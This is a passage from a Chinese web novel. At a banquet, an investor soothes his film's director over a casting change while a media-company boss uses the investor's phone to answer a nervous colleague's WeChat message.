和方才试镜时不同,岑宝月清楚霍少棠的分量,将主位安排给了他,恐怕这位霍总参加宴席,没有几回不是坐主位。 然而霍少棠没坐,他抬眼望了明昭一眼,明昭理所当然地在主位上。 明昭并不是不通人情世故的人,岑宝月看到明昭这么理所应当的行为,瞬间眼前一黑,但霍少棠没表现出不满,她也不能再让明昭起来。 她要真这么做,这位大少爷估计也不会听她的。 岑宝月只好偷偷给明昭发消息,忍不住在微信里抓狂:“哥,你在干嘛?!人霍总头回和咱们吃饭,你怎么一点面子不给,大佬手下可还有传媒公司,到时电影上映咱们可还得求着人家宣传呢!!!” 明昭扫了一眼消息,将手机扔给霍少棠。 霍少棠看完消息,挑眉:“原来我在他们眼中这么小气。” 明昭摊了摊手:“这就是你的对外形象。” 口碑这一块儿。 明昭点了点手机:“你回。” 然后他转头和袁均搭话去了,没再管霍少棠拿着他手机摆弄。 明昭深知袁均是整部电影的灵魂,其他的情绪都可以往后稍稍,唯独不能让袁均真的心生不满。 和袁均聊了好半晌,确认他没有生气,明昭才放心下来。 他清楚自己脾气硬,说话毫不拐弯抹角,碰上同样有话直说的当然没有什么,但是搞艺术的人大多都比较敏感。 当初挑袁均的时候,明昭就是看上他识时务的性格,他有很大的把握能够肯定袁均不会因为他决定换演员人设的事情和他闹矛盾。 但万一呢? 他给自己倒满酒,碰了碰袁均的杯子,然后在袁均在目光中,一口干掉满杯。 袁均震惊的明昭,赶紧也把自己杯里的酒一口闷了:“明总,真不用这样,你也说了只是改变主角的长相,性格都没改也不会影响剧情。” 相对于其他投资人来说,明昭实在已经是一个足够令人喜欢的投资人,只是拍板选角,没有随意的删改剧情。 明昭松了松扎在脑后的头发,笑着道:“我是商人,虽然这么做确实很讨厌,但是我没法保证之后能不能碰上长相明艳又有观众缘的女演员,现在这个女演员是这一整天来最有可能红的。电影剧本写得好演员演技合格,电影总会火。主演是否能爆红你作为导演并不需要关心,对于我来说却至关重要。” 只有一个受到观众喜欢,才能够有更多的流量有更多的本子,公司才能跟着赚到钱。 他成立公司不就是为了这个么? 明昭是一个不屑于解释的人,这一个多月的相处,袁均深知这一点,就像当初选择他一样,连周济都不清楚为什么最终定下来的是他。 他从周济口中知道,明昭有很多更好的选择,更多的导演履历比他漂亮、名气比他更高。 明昭太年轻又太果断,没有人清楚他的选择是否正确,袁均也不知道,他甚至都无法保证自己真的能够拍出一部大卖的电影,但明昭似乎一点也不担心。 明昭似乎非常相信他们的电影能够爆红,比他自己都要相信他。 袁均有些感慨地看着明昭:“我明白,明总,我不会因为这个事情闹不满,也没必要。” 明昭笑了笑:“你明白就好。” 两个人说话的声音并不大,霍少棠离得近方才能够听到他们说话的内容,确实是一只足够聪明的小猫。他放下明昭的手机,给另一只空杯子倒了半杯白水,放在明昭桌前。 明昭视线余光看到他的动作,拿起白水喝了两口。然后拿过手机点开看他和岑宝月的回复。 很简单的一句:【放心,宣传没有问题。】 岑宝月似乎有些不太信任:【明总,你也太有自信了,卖个好总没错。】 霍少棠回道:【已经卖过了。】 岑宝月:【?】 然后就没了。 明昭舌尖顶了顶腮帮子,转头看向霍少棠:“我有卖好吗?” 霍少棠眨了眨眼:“不是一直用脸卖好?”